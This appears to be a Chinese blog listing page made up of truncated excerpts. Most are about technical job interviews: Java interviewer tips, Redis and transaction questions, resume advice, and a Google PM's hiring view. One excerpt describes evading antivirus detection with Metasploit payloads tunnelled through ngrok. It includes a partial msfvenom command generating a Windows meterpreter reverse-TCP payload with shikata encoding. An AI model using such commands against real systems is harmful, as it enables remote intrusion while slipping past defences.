java面试官如何面试别人(一) java面试官的“面试心得” 在公司当技术面试官几年间,从应届生到工作十几年的应聘者都遇到过.先表达一下我自己对面试的观点: 1.笔试.面试去评价一个人肯定是不够准确的,了解一个人最准确的方式就是“路遥知马力,日久见人心”.通过一.二个小时内的做题.交流,只是没有其他办法下进行的无奈之举,所以通过了面…

在公司当技术面试官几年间,从应届生到工作十几年的应聘者都遇到过.先表达一下我自己对面试的观点: 1.笔试.面试去评价一个人肯定是不够准确的,了解一个人最准确的方式就是“路遥知马力,日久见人心”.通过一.二个小时内的做题.交流,只是没有其他办法下进行的无奈之举,所以通过了面试不代表有多成功,没通过也不代表有多失败.2.好的面试官本身交谈的时候就不应当把自己一个居高临下的角色上,应当把自己和应聘者当做两个做技术的人平等的交流,把自己当作权威往往就会受到观点的角度.语言表达.工作领域的惯性的制约.3.…

metasploit生成的exe文件很小,但是免杀效果不行, 找了很多资料, 只有生成c语言shellcode,然后c#重新编译, 这种免杀效果,挺让人满意的 首先需要生成客户端,客户端使用了ngrok内网穿透, 参考 :https://www.cnblogs.com/diligenceday/p/11009759.html root@kali:~/Desktop/sunny# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_…

今天终于闲下来了, 那么也好总结下这几天面试的经历.四天的时间一共面了七家, 有一家是自己推迟了没有去.声明:如若转载请注明出处:http://www.cnblogs.com/wang-meng/p/5895787.html因为我之前的博文我发现很多被转载都是没有出处的, 直接复制粘贴就变成了他们的产物.. 先总结下这么几次面试下来的感受: 1, 先了解市场行情,给出自己的市场定位了解你所找工作 的一些市场行情, 这样你就知道自己的一个水平是可以拿到一个什么价位了.因为基本上每家公司都会提前对你…

我们在做培训时,会发现一个不合理的情况,一些程序员能力不错,在公司里也是技术牛人,但发出去的简历往往会石沉大海,没有回复.对于刚毕业的大学生或工作年限在2年之内的程序员,这个情况会更严重. 这种情况下,其实不是你的能力有问题,而是简历筛选人(往往是人事或技术面试官)无法从简历上看出你很牛,或者即使能从简历上感觉到你能力很强,但会感觉到你的能力和公司的需求不匹配.不管是哪种情况,结果都一个,你甚至得不到技术面试的机会. 笔者在这里,将根据面试多个候选人(至今有100以上)的经验,来向大家展示准备简…

你知道的越多,你不知道的越多 点赞再看,养成习惯 前言 Redis在互联网技术存储方面使用如此广泛,几乎所有的后端技术面试官都要在Redis的使用和原理方面对小伙伴们进行360°的刁难.作为一个在互联网公司面一次拿一次offer的面霸(请允许我使用一下夸张的修辞手法),打败了无数竞争对手,每次都只能看到无数落寞的身影失望的离开,略感愧疚,在一个寂寞难耐的夜晚,我痛定思痛,决定开始写<吊打面试官>系列,希望能帮助各位读者以后面试势如破竹,对面试官进行360°的反击,吊打问你的面试官,让一同面试的…

写在前面 相信大部分小伙伴在面试过程中,只会针对面试官提出的表面问题来进行回答.其实不然,面试官问的每一个问题都是经过深思熟虑的,面试的时间相对来说也是短暂的,面试官不可能在很短的时间内就对你非常了解,他想通过几个问题来考察你所掌握的知识的深度和广度,如果你只是回答面试官表面问你的问题,向挤牙膏一样,问一点,答一点,结果不用说,肯定是凉凉了. 面试问题 说说什么是事务?并发事务会带来哪些问题呢? 分析问题 表面上看,面试官是问了两个问题.一个是:什么是事务,也就是让你说说事务的基本概念:另一个是…

快来看看大咖Nick如何甄选人才~文章转自墨刀公众号. 本文作者: Nick Baum,目前在谷歌做PM 作为谷歌的产品经理和面试官,我已经面过几百个PM的候选人了吧.这些经历能让我分享一下在PM求职方面的见解. 当然,先提前说明,以下的分享都是基于我在谷歌的经验,也许其他公司的面试官寻求的东西不太一样,大家可以只是参考借鉴. 01  在面试之前 01 更新你的领英简历 如果可以的话,我会直接看候选人的领英主页,而不是看简历.因为招聘经理们经常手握几百个简历,看统一格式的效率会高很多. 02 简…

如何巧妙地回答面试官的问题? 本文摘自<PHP程序员面试笔试宝典> 面试中,大多数题目都不是凭空想象出来的,而是有章可循,只要求职者肯花时间,耐得住寂寞,复习得当,基本上在面试前都会见过相同的或者类似的问题(当然,很多知名企业每年都会推陈出新,这些题目是很难完全复习到位的).所以,在面试中,求职者曾经遇见过面试官提出的问题也就不足为奇了.那么,一旦出现这种情况,求职者是否要如实告诉面试官呢? 选择不告诉面试官的理由比较充分:首先,面试的题目60%-70%都是已见题型,见过或者见过类似的不足为奇…

本来想分享毕业生和初级程序员如何进大公司的经验,但后来一想,人各有志,有程序员或许想进成长型或创业型公司或其它类型的公司,所以就干脆来分享些提升技能和通过面试的技巧,技巧我讲,公司你选,两厢便利. 毕业生和初级程序员(一般是工作经验3年以下)大多处于事业的青黄不接的阶段,在找工作时往往会遇到缺乏实际项目经验的瓶颈,作为技术面试官,我也经常在面试过程中感受到这些候选人缺乏实际经验的缺陷.不过本人之前做过java兼职培训老师,也总结了些这批人群提升实际技能和面试技能的技巧,最近也老有人来问我这个,所…